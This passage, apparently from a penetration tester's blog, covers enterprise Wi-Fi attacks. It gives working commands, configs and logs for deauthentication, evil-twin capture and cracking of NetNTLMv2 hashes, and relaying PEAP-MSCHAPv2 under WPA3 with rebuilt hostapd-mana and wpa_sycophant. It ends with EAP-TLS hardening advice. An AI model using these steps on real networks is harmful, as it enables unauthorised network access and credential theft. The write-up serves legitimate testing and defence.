│ ├─────────┼───────────────────┼──────────────────┼─────────────────────┼─────┼────┼─────────┼────────┼────────┼──────────┤ │ -30 dBm │ f2:ab:b8:f8:e1:6e │ │ WPA2 (AES-CCM, WPA) │ │ 6 │ 3 │ 12 kB │ 12 kB │ 14:13:04 │ └─────────┴───────────────────┴──────────────────┴─────────────────────┴─────┴────┴─────────┴────────┴────────┴──────────┘ wlan0 » wifi.deauth f2:ab:b8:f8:e1:6e wlan0 » [14:37:56] [sys.log] [inf] wifi deauthing client 92:07:84:c7:2b:01 from AP (channel:6 encryption:WPA2) wlan0 » [14:37:56] [wifi.client.probe] station 92:07:84:c7:2b:01 is probing for SSID MinistryOfMagic (-30 dBm) wlan0 » [14:37:57] [wifi.client.probe] station 92:07:84:c7:2b:01 is probing for SSID MinistryOfMagic (-20 dBm) ``` Once a client is trying to reconnect to your cloned access point, this type of logs can be observed: ``` $ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6 [...] wlan1: STA 92:07:84:c7:2b:01 IEEE 802.11: authenticated wlan1: STA 92:07:84:c7:2b:01 IEEE 802.11: associated (aid 1) wlan1: CTRL-EVENT-EAP-STARTED 92:07:84:c7:2b:01 wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1 wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 ``` **CTRL-EVENT-EAP-PROPOSED-METHOD** events correspond to the negotiation of the **EAP method** to use\[14\]. When **PEAP** ( `method=25`) is chosen for **Phase 1**, and it is the most common chosen method when **EAP-TLS** is not configured, then the **Phase 2** is chosen to send the actual credentials of the account used by the client. In this case, the most commonly seen is **MSCHAPv2** which is based on a **NTLM** challenge-response authentication scheme\[15\]. In this case the attacker obtains a **NetNTLMv2** hash that they will be able to try to crack offline with bruteforce attack: ``` $ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6 [...] mschapv2: Thu Aug 14 15:01:47 2025 domain\username: kingsley.shacklebolt@phoenix.com username: kingsley.shacklebolt@phoenix.com challenge: 22:b9:c3:48:f6:86:d4:2f response: 78:70:43:fa:98:a7:67:69:bd:79:d3:92:89:da:9a:01:0f:42:70:72:b9:39:57:c8 jtr NETNTLM: kingsley.shacklebolt@phoenix.com:$NETNTLM$22b9c348f686d42f$787043fa98a76769bd79d39289da9a010f427072b93957c8 hashcat NETNTLM: kingsley.shacklebolt@phoenix.com::::787043fa98a76769bd79d39289da9a010f427072b93957c8:22b9c348f686d42f ``` Here is an example using john: ``` $ john --wordlist=rockyou.txt john_wpa_ntlm.txt [...] harrypotter4ever (kingsley.shacklebolt@phoenix.com) 1g 0:00:00:00 DONE (2025-08-14 16:06) 1.666g/s 23906Kp/s 24995Kc/s 24995KC/s !!!cutepops4lif..*7¡Vamos! Use the "--show --format=netntlm" options to display all of the cracked passwords reliably Session completed. ``` In the case where the client is misconfigured to accept **GTC** (which **EAPHammer** will try to negotiate depending on how you configure it), the client will send its credentials inside the **PEAP** tunnel in cleartext, which results in the attacker obtaining its credentials directly: ``` $ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6 [...] GTC: Thu Aug 14 14:38:10 2025 username: ron.weasley@phoenix.com password: croutarlegrosrat ``` Now, we will see in the following part, that even when the certificate is not validated, compromise is not necessarily straightforward. This will be exemplified with a particular use-case we came across during one of our engagements. ### d. Retex #### The pain of sysadmins When we successfully capture credentials using the method detailed above, it means a client device was configured to " **not validate**" the **RADIUS** **certificate**. This is especially common with personal devices used for work (BYOD - Bring Your Own Devices), or simply smartphones where the user will want to connect to the Wi-Fi and configure their work credentials to access the **AP** of its work offices. On these devices, users may be prompted to accept an untrusted certificate and often doing so without considering the risks. Moreover, it should be noted that, despite this being discouraged, the accounts used to connect to **WPA2 EAP** Wi-Fi networks are often **Active Directory** domain accounts. Therefore, during intrusion test engagements when successfully obtaining credentials, whether because **GTC** is used or because the **challenge-response** **was cracked**, the consequence is both **access to the network** and **authenticated access to the Active Directory domain** using the same credentials. To avoid that, a solution we encountered during an engagement, is using computer accounts instead of user accounts. Generally laptops can be matched to an employee, as long a **MSCHAPv2** is configured to be used, the password will be impossible to crack given machine accounts use randomly generated 240-bytes passwords, rotated every 30 days. #### Relaying instead of cracking On the occasion when we encountered this clever setup, the company used computer accounts to authenticate laptops to the Wi-Fi, configured via GPO. This meant the password was the machine account's long, random, and uncrackable password. The only allowed method was **PEAP-MSCHAPv2**. However, despite that interesting setup, which avoids using the user accounts for network access control, they had the same issue mentioned earlier. The Wi-Fi profile was not configured to correctly check the **RADIUS** certificate. Therefore, we were able to capture several **NetNTLMv2** challenges, but judging by the names of the accounts, it was fairly easy to guess these were machine accounts and we would never crack those. However, as mentioned above **MSCHAPv2** is based on **NTLM challenge response** authentication. **NTLM** infamously known for being **relayable** by an attacker positioned in **Man-in-the-Middle**. The same thing is indeed possible against the Wi-Fi **PEAP-MSCHAPv2** authentication. **SensePost** published an article\[16\] following their 2018 DEFCON talk\[17\]. They released a tool called `wpa_sycophant`\[18\] which, used in conjunction with the `hostapd-mana`\[19\], allows relaying the **MSCHAPv2** authentication. The `hostapd-mana` will act as your **Evil Twin**, as long the client does not check the self-hosted **RADIUS** certificate, it will send its credentials using the **Challenge Response** scheme of **MSCHAPv2**. Then, `hostapd-mana` forwards this authentication process to `wpa_sycophant`. As soon as the authentication process starts on one side, `wpa_sycophant` tries to connect to the legitimate **AP** to forward the authentication. A locking mechanism between the two processes `hostapd-mana` and `wpa_sycophant` allows the authentication to be properly relayed. If everything goes as planned, your `wpa_sycophant` process gives you authenticated access to the **AP** which you can then use to access the internal network of your target. Firstly, we can see that the absence of verification of the certificate remains the main issue in the case of EAP Wi-Fi networks. However, using computer accounts limits the possibilities for an attacker. Indeed, the relaying technique is quite a tricky process already and after that we only obtain network access. Once connected, we now have to start **unauthenticated reconnaissance**. Despite that limitation, during that engagement, we still tried to exploit that scenario. However, we encountered an unexpected issue. The Wi-Fi network was not using **WPA2 EAP** as we thought. It was actually using **WPA3 Enterprise**. #### WPA3-Enterprise challenges The issue with this encounter of **WPA3** consist of two elements. First, will the relaying even work? Second, `hostapd-mana` and `wpa_sycophant` are modified version of respectively `hostapd`\[20\] and `wpa_supplicant`\[21\], and they are based on old versions of both, which did not yet support **WPA3**. We know that in the case of personal Wi-Fi networks, **WPA2 PSK** was recently replaced by **WPA3** which replaces the **PSK** mechanism with **SAE**. However, in the case of enterprise Wi-Fi networks, given it uses **EAP**, the **EAP methods** behind the authentication process are likely to remain the same. Indeed, that assumption turned out to be true. The main change in **WPA3 EAP** compared to **WPA2 EAP** is the **addition of stronger encryption methods**, and **enforcement of Management Frame Protection** (802.11w). However, despite those changes, the authentication method used to authorize user before deriving a session key, remains the same. Therefore, what was true concerning **PEAP-MSCHAPv2** in **WPA2 EAP**, remains true in **WPA3 EAP**. With that in mind, the problem now was executing the attack, despite these complications. First, **WPA3** mandates the use of **802.11w**, rendering our deauthentication attacks useless. We could no longer easily force clients to connect to our **Evil Twin**. Furthermore, the problem of `wpa_sycophant` and `hostapd-mana` not being based on a recent enough version of their respective Linux base software remains. And since the tools are made of patches to the source code of these Linux software, updating the tool is not straightforward given you have to update the basis upon which the patches have been made, generating a lot of merge conflicts. Therefore, to prove the theory that relaying in **WPA3** would work similarly, we had to update both `hostapd-mana` and `wpa_sycophant`. The official **SensePost** repositories are both based on the **2.6** version of their Linux counterpart. However, **WPA3** support was added for `hostapd` and `wpa_supplicant` in later versions only. Without looking too much into the details I thought, "If I have to update it, might as well update it to the latest version". Therefore the goal would be to update both `hostapd-mana` and `wpa_sycophant` to the **2.11** version of their Linux equivalent. #### Updating wpa\_sycophant It was fairly easy for `wpa_sycophant`, given there are not a lot of patches done. Again, since the `master` branch of the `wpa_sycophant` git repository is made of patches to the source code of `wpa_supplicant`, we can use `git` versioning to apply everything on the 2.11 version of `wpa_supplicant`: ``` $ git clone https://github.com/sensepost/wpa_sycophant.git $ wget https://w1.fi/releases/wpa_supplicant-2.11.tar.gz $ cd wpa_sycophant $ git checkout 80431d680bd3fbbfaa70b87cbe4c0cb0701ef0fd # Go back to basis of the repo $ cp -r ../wpa_supplicant-2.11/src/ ./ $ cp -r ../wpa_supplicant-2.11/wpa_supplicant/ ./ $ git add ./* $ git commit -m 'bump wpa_supplicant version' $ git merge master # small conflict resolve $ git status HEAD detached from 80431d6 You have unmerged paths. (fix conflicts and run "git commit") (use "git merge --abort" to abort the merge) [...] Unmerged paths: (use "git add ..." to mark resolution) both modified: src/eap_peer/eap.c ``` This conflict can be resolved by simply accepting both changes. We now have our `wpa_sycophant` up to date and ready to go: ``` $ apt install libnl-route-3-dev libnl-genl-3-dev $ make -C wpa_supplicant [...] LD wpa_supplicant [...] ``` #### Updating hostapd-mana The story with `hostapd-mana` is largely different because, contrary to `wpa_sycophant`, it is a much more diverse tool, that has a lot of other uses. As per its description: " _hostapd-mana is a featureful rogue wifi access point tool. It can be used for a myriad of purposes from tracking and deanonymising devices (aka Snoopy), gathering corporate credentials from devices attempting EAP (aka WPE) or attracting as many devices as possible to connect to perform MitM attacks._" Therefore, the patches that transform `hostapd` **2.6** in `hostapd-mana` are much more numerous and complex. The same methodology, of simply merging two branches using git did not work this time. Given that `hostapd-mana` was updated once from its original **2.1** version to **2.6**, trying to merge branches will result in enormous amount of conflicts. Indeed, git sees the same changes in both branches, and despite using different merge strategies, a lot of conflicts remained, despite the conflicts in question originating from the same changes being made in both branches. So the solution used, was to take only the most recent basis of `hostapd` used to extract the patch of `hostapd-mana`: ``` $ wget https://w1.fi/releases/hostapd-2.6.tar.gz $ git clone https://github.com/sensepost/hostapd-mana $ tar xvf hostapd-2.6.tar.gz $ diff -ruN -U 5 hostapd-2.6 hostapd-mana > hostapdmana_patch ``` Then, we only have to apply this to the new version, which will generate fewer conflicts: ``` $ wget https://w1.fi/releases/hostapd-2.11.tar.gz $ tar xvf hostapd-2.11.tar.gz $ patch -p1 -d hostapd-2.11 < hostapdmana_patch patching file buildspec.yml patching file crackapd/crackapd.conf [...] 1 out of 1 hunk FAILED -- saving rejects to file src/utils/wpa_debug.c.rej patching file .travis.yml $ find ./hostapd-2.11 -type f -name '*.rej' ./hostapd-2.11/src/eap_server/eap.h.rej ./hostapd-2.11/src/eap_server/eap_server.c.rej ./hostapd-2.11/src/utils/wpa_debug.c.rej ./hostapd-2.11/src/ap/ieee802_11.c.rej ./hostapd-2.11/src/ap/beacon.h.rej ./hostapd-2.11/src/ap/beacon.c.rej ./hostapd-2.11/src/ap/hostapd.c.rej ./hostapd-2.11/src/ap/wpa_auth.c.rej ./hostapd-2.11/src/ap/sta_info.h.rej ./hostapd-2.11/src/ap/drv_callbacks.c.rej ./hostapd-2.11/hostapd/config_file.c.rej ./hostapd-2.11/hostapd/ctrl_iface.c.rej ./hostapd-2.11/hostapd/hostapd.conf.rej ./hostapd-2.11/hostapd/main.c.rej ./hostapd-2.11/hostapd/Makefile.rej ./hostapd-2.11/hostapd/hostapd_cli.c.rej ./hostapd-2.11/hostapd/defconfig.rej ``` This solution ended up saving a lot of conflicts, because now only "real conflicts" remained. We had only 17 conflicts, that resulted of some structure changes in the source code of `hostapd`. Once the careful correction of these errors was done, some compilation issues still arose, which allowed to fix the last issues to finally obtain our new 2.11 `hostapd-mana`: ``` $ cd hostapd-2.11 $ make -C hostapd [...] LD hostapd [...] ``` It should be noted that still some compilation warnings arise in the current state of the patch that we used. I cannot confirm that `hostapd-mana` remains fully functional for all the features it originally supports. But as we shall see, the relaying still works fine, so we did choose to ignore these warnings given they were not blocking. #### Relaying WPA3 Enterprise Now that we have both our tools to the latest version (2.11) and that we have successfully compiled them, we can move on to the actual relaying. First, for our test environment, we are going to use this AP configuration: ``` $ cat hostapd.conf interface=$IFACE_WPA3_EAP_AP driver=nl80211 ssid=MinistryOfSecurity channel=4 wpa=2 wpa_pairwise=CCMP auth_algs=1 ieee80211w=2 # WPA3-EAP specifics wpa_key_mgmt=WPA-EAP-SHA256 sae_require_mfp=1 ieee8021x=1 eap_message=Ca va bien chef ? Tacos cordon bleu nuggets sauce biggy stp chef eap_server=1 eap_user_file=hostapd.eap_user ca_cert=certs/ca.crt server_cert=certs/srv.crt private_key=certs/srv.key ``` The matching `wpa_supplicant` configuration for our fake client is the following: ``` $ cat wpa_supplicant.conf network={ ssid="MinistryOfSecurity" scan_ssid=1 key_mgmt=WPA-EAP-SHA256 ieee80211w=2 eap=PEAP identity="albus.perceval@ministry.sec" password="ohTh4ohx8phe1aaQue5eijieraishoop" phase1="peaplabel=0" phase2="auth=MSCHAPV2" } ``` As can be seen in the `wpa_supplicant` configuration, the client is configured to use **PEAP-MSCHAPv2** and the latest **WPA3 EAP** standard. Now, following the documentation of both **SensePost**'s tools, we can configure `hostapd-mana` and `wpa_sycophant` to relay the authentication. It is important to configure `bssid_blacklist` correctly so that `wpa_sycophant` does not reconnect to `hostapd-mana`. Merging the documented configuration and the **WPA3** specific settings, the following configuration is obtained: ``` $ cat hostapd-mana.conf interface=wlan2 ssid=MinistryOfSecurity channel=6 wpa=2 wpa_key_mgmt=WPA-EAP-SHA256 sae_require_mfp=1 wpa_pairwise=CCMP auth_algs=1 ieee80211w=2 eap_server=1 ieee8021x=1 eap_user_file=hostapd.eap_user ca_cert=certs/ca.pem server_cert=certs/server.pem private_key=certs/server.key private_key_passwd= dh_file=dhparam.pem mana_wpe=1 mana_eapsuccess=1 enable_sycophant=1 sycophant_dir=/tmp/ $ cat wpa_sycophant.conf network={ ssid="MinistryOfSecurity" scan_ssid=1 key_mgmt=WPA-EAP-SHA256 ieee80211w=2 identity="" anonymous_identity="" password="" eap=PEAP phase1="crypto_binding=0 peaplabel=0" phase2="auth=MSCHAPV2" bssid_blacklist=02:00:00:00:02:00 } ``` As stated earlier, in the case of **WPA3**, **802.11w** is always enforced making deauthentication ineffective. Therefore, relaying will only happen when the client connects to you because no other options are available, or if you are chosen when they initiate the connection. Despite that, in a lab environment, it is easier to confirm that the relaying indeed works as expected: - On the `hostapd-mana` side, we can see we received a connection and the logs of synchronization with `wpa_sycophant` for the relaying: ``` $ ./hostapd-mana/hostapd hostapd-mana.conf MANA: Sycohpant state directory set to /tmp/. wlan2: interface state UNINITIALIZED->ENABLED wlan2: AP-ENABLED wlan2: STA 02:00:00:00:11:00 IEEE 802.11: authenticated wlan2: STA 02:00:00:00:11:00 IEEE 802.11: associated (aid 1) wlan2: CTRL-EVENT-EAP-STARTED 02:00:00:00:11:00 wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1 MANA EAP Identity Phase 0: albus.perceval@ministry.sec wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 MANA EAP Identity Phase 1: albus.perceval@ministry.sec using SYCOPHANT_STATE file : /tmp/SYCOPHANT_STATE SYCOPHANT: MSCHAPv2 Response handed off to supplicant. MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.perceval@ministry.sec | asleap -C 78:f8:c7:e0:81:9d:66:47 -R ba:7a:73:96:b2:22:46:e8:5c:d3:51:32:88:0c:5f:26:aa:42:4a:13:ae:a9:98:82 MANA EAP EAP-MSCHAPV2 JTR | albus.perceval@ministry.sec:$NETNTLM$78f8c7e0819d6647$ba7a7396b22246e85cd35132880c5f26aa424a13aea99882::::::: MANA EAP EAP-MSCHAPV2 HASHCAT | albus.perceval@ministry.sec::::ba7a7396b22246e85cd35132880c5f26aa424a13aea99882:78f8c7e0819d6647 EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 0a f3 d5 71 4d 9f 76 19 d1 f3 88 ef 40 e3 d9 00 wlan2: CTRL-EVENT-EAP-RETRANSMIT 02:00:00:00:11:00 wlan2: CTRL-EVENT-EAP-RETRANSMIT 02:00:00:00:11:00 wlan2: STA 02:00:00:00:11:00 IEEE 802.11: authenticated wlan2: STA 02:00:00:00:11:00 IEEE 802.11: associated (aid 1) wlan2: CTRL-EVENT-EAP-STARTED 02:00:00:00:11:00 wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1 MANA EAP Identity Phase 0: albus.perceval@ministry.sec wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 MANA EAP Identity Phase 1: albus.perceval@ministry.sec using SYCOPHANT_STATE file : /tmp/SYCOPHANT_STATE MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.perceval@ministry.sec | asleap -C b9:7b:4a:26:16:15:22:5c -R d9:5b:fe:da:c5:95:65:8d:34:b5:59:4b:3b:80:59:c9:4c:35:b3:65:81:c2:ea:cb MANA EAP EAP-MSCHAPV2 JTR | albus.perceval@ministry.sec:$NETNTLM$b97b4a261615225c$d95bfedac595658d34b5594b3b8059c94c35b36581c2eacb::::::: MANA EAP EAP-MSCHAPV2 HASHCAT | albus.perceval@ministry.sec::::d95bfedac595658d34b5594b3b8059c94c35b36581c2eacb:b97b4a261615225c ``` - On the `wpa_sycophant` side, we can see the synchronization as well and finally the obtained network access: ``` $ ./wpa_sycophant.sh -i wlan3 -c wpa_sycophant.conf SYCOPHANT : RUNNING "./wpa_supplicant/wpa_supplicant -i wlan3 -c wpa.conf" SYCOPHANT : RUNNING "dhclient wlan3" Successfully initialized wpa_sycophant _ _ __ ___ __ __ _ ___ _ _ ___ ___ _ __ | |__ __ _ _ __ | |_ \ \ /\ / / '_ \ / _` | / __| | | |/ __/ _ \| '_ \| '_ \ / _` | '_ \| __| \ V V /| |_) | (_| | \__ \ |_| | (_| (_) | |_) | | | | (_| | | | | |_ \_/\_/ | .__/ \__,_|___|___/\__, |\___\___/| .__/|_| |_|\__,_|_| |_|\__| |_| |_____| |___/ |_| The most important part is the ascii art - Georg-Christian Pranschke Set MANA to relay wlan3: SME: Trying to authenticate with 02:00:00:00:10:00 (SSID='MinistryOfSecurity' freq=2427 MHz) wlan3: Trying to associate with 02:00:00:00:10:00 (SSID='MinistryOfSecurity' freq=2427 MHz) wlan3: Associated with 02:00:00:00:10:00 wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0 wlan3: CTRL-EVENT-EAP-STARTED EAP authentication started SYCOPHANT : Getting Identity SYCOPHANT : Config phase 1 ident : - hexdump_ascii(len=0): SYCOPHANT : Phase 1 Identity : - hexdump_ascii(len=27): 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d albus.perceval@m 69 6e 69 73 74 72 79 2e 73 65 63 inistry.sec wlan3: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 wlan3: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected wlan3: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=FR/ST=IDF/L=Paris/O=SecurityOffice/CN=MinistryOfSecurityCA' hash=51b6f105ec699cab9093c4f01686de4adf2e64254a06928cc3e0e2d2106d3eab wlan3: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=FR/ST=IDF/L=Paris/O=SecurityOffice/CN=MinistryOfSecurityCA' hash=51b6f105ec699cab9093c4f01686de4adf2e64254a06928cc3e0e2d2106d3eab wlan3: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/C=FR/ST=IDF/L=Paris/O=SecurityRadius/CN=secu.radius@ministry.sec' hash=c9c5122500f994aa2f280c33d0e22ef6a0ff8cdea8aca0fb50078e0fe3ab9aac SYCOPHANT : Getting Identity SYCOPHANT : Config phase 2 ident : - hexdump_ascii(len=0): SYCOPHANT : Phase 2 Identity : - hexdump_ascii(len=27): 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d albus.perceval@m 69 6e 69 73 74 72 79 2e 73 65 63 inistry.sec SYCOPHANT : CHALLANGE DATA - hexdump(len=16): 5c b7 30 29 46 c3 fa cf f8 1d d7 4c 75 13 e7 b4 SYCOPHANT : CHALLANGE DATA GIVEN TO MANA SYCOPHANT : INFORMING MANA TO SERVE CHALLENGE SYCOPHANT : RESPONSE SET BY PEER - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 26 c3 f4 55 c4 58 c4 9c 41 4b a5 9b 9e ca f6 f1 00 00 00 00 00 00 00 00 da 84 c3 24 da 8d ed fd 88 63 d6 49 de f1 a2 74 b6 7e e7 04 7c d9 d8 79 00 31 d6 cf e0 d1 6a e9 31 b7 3c 59 d7 e0 c0 89 c0 be 6b c6 4c 94 bb c0 62 bc eb fb SYCOPHANT : ORIG CONTENTS - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 26 c3 f4 55 c4 58 c4 9c 41 4b a5 9b 9e ca f6 f1 00 00 00 00 00 00 00 00 da 84 c3 24 da 8d ed fd 88 63 d6 49 de f1 a2 74 b6 7e e7 04 7c d9 d8 79 00 31 d6 cf e0 d1 6a e9 31 b7 3c 59 d7 e0 c0 89 c0 be 6b c6 4c 94 bb c0 62 bc eb fb SYCOPHANT : MANA CONTENTS - hexdump(len=86): 02 28 00 56 1a 02 28 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63 SYCOPHANT : ORIG CONTENTS - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63 SYCOPHANT : MANA CONTENTS - hexdump(len=86): 02 28 00 56 1a 02 28 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63 EAP-MSCHAPV2: Received success Response not verified, does not seem important EAP-MSCHAPV2: Authentication succeeded wlan3: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully wlan3: PMKSA-CACHE-ADDED 02:00:00:00:10:00 0 wlan3: WPA: Key negotiation completed with 02:00:00:00:10:00 [PTK=CCMP GTK=CCMP] wlan3: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:10:00 completed [id=0 id_str=] ``` This specific use-case shows even latest standards can still suffer misconfigurations. However, to be fair, this is a very specific use case, and in practice, it would be very difficult to exploit due to the deauthentication protection and Wi-Fi signal strength considerations. ### e. Recommendation The most effective way to prevent these credential thefts and relaying attacks is to use **EAP-TLS** exclusively. This requires deploying a **client certificate** to every device that needs to connect to the network. While it involves setting up a **Public Key Infrastructure (PKI)**, in companies that use **WPA2 EAP**, they often have a PKI setup already. With **EAP-TLS**, the certificate itself is the credential. An attacker running an **Evil Twin** can still present a fake certificate, but the legitimate client will not be able to connect as it will correctly verify the certificate. Unless the attacker can steal the private key of a client's certificate, they will not be able to gain access to the network. For instance, when the clients are correctly configured, the following logs can be observed: ``` $ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 1 [...] wlan1: CTRL-EVENT-EAP-STARTED 12:32:65:54:45:56 wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1 wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25 wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=13 SSL: SSL3 alert: read (remote end reported an error):fatal:certificate unknown OpenSSL: openssl_handshake - SSL_connect error:14094416:SSL routines:ssl3_read_bytes:sslv3 alert certificate unknown wlan1: CTRL-EVENT-EAP-FAILURE 12:32:65:54:45:56 ``` It is possible to notice the client chose EAP `method=13` which corresponds to EAP-TLS\[13\] and then when trying to authenticate with that method, an alert is raised because our **EAPHammer** uses a self-signed certificate, which is therefore not validated on the client side. ## Conclusions We have summarized and exemplified several situations we can find during Wi-Fi intrusion tests. Now that we have reviewed the problem and solution for each one, we can acknowledge security is generally undermined by simple misconfigurations, password weaknesses or legacy protocols. If you are looking for a solution to your Wi-Fi security, the recommendation to each wireless configuration are as follows: ### 1\. Open (Public/Guest) Networks: The name says it all: treat these networks as completely public. Any device connecting should do so through a trusted VPN if they want to guarantee their security and to encrypt their traffic from the local network to the internet. Otherwise, TLS encryption used for most of the internet will suffice as long as users understand Man-in-the-Middle is an inherent possibility of the Open Wi-Fi and they should never accept an untrusted certificate when browsing to an HTTPS website. For the network owner, enabling **Client Isolation** is an ideal first step to prevent users from reaching each other. The use of the **OWE** standard can also be recommended to avoid passive wireless sniffing. ### 2\. WEP Networks: Sadly in the case of **WEP** network, there is no recommendation other than removal. **WEP** is cryptographically broken and should be considered **as insecure as an open network**. If a device supports only **WEP**, then the network should be hardened taking into account that an attacker can easily connect to it. ### 3\. WPA2-PSK (Personal/Shared Key) Networks: The security of a **PSK** network is defined by its password. Use a long and random passphrase and you should be fine. If all your devices support it, upgrade to **WPA3 Personal**, as its **SAE** handshake method protects against handshake capture and offline cracking. If the support is not general, you can still use **WPA2 transition mode**, older devices will still suffer handshake captures, but newer devices will benefit from **WPA3** standards. However, always remember the organizational risk: a shared key is difficult to manage. When an employee leaves, the only way to revoke their access is to change the key for everyone. ### 4\. WPA2-EAP (Enterprise) Networks: This is ideal standard for large companies, but only if configured correctly. All client devices must be configured to validate the **RADIUS** server's certificate to prevent Evil Twin attacks. The ideal way to avoid misconfiguration is to use **EAP-TLS**. While not always feasible, using certificate-based authentication eliminates password-based risks entirely, rendering credential theft and relay attacks ineffective. ## References 01. https://en.wikipedia.org/wiki/IEEE\_802.11w-2009 02. https://en.wikipedia.org/wiki/802.11\_frame\_types#Types\_and\_subtypes 03. https://github.com/lgandx/Responder/ 04. https://en.wikipedia.org/wiki/Wired\_Equivalent\_Privacy 05. https://www.aircrack-ng.org/ 06. https://en.wikipedia.org/wiki/Wi-Fi\_Protected\_Access#WPA-Personal 07. https://networklessons.com/wireless/wpa-and-wpa2-4-way-handshake 08. https://hashcat.net/forum/thread-7717.html 09. https://git.w1.fi/cgit/hostap/plain/wpa\_supplicant/README 10. https://www.krackattacks.com/ 11. https://en.wikipedia.org/wiki/Simultaneous\_Authentication\_of\_Equals 12. https://github.com/s0lst1c3/eaphammer 13. https://www.bettercap.org/ 14. https://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 15. https://datatracker.ietf.org/doc/html/rfc2759#section-1 16. https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa\_sycophant/ 17. https://www.youtube.com/watch?v=eYsGyvGxlpI&t=1052s 18. https://github.com/sensepost/wpa\_sycophant 19. https://github.com/sensepost/hostapd-mana 20. https://w1.fi/hostapd/ 21. https://w1.fi/wpa\_supplicant/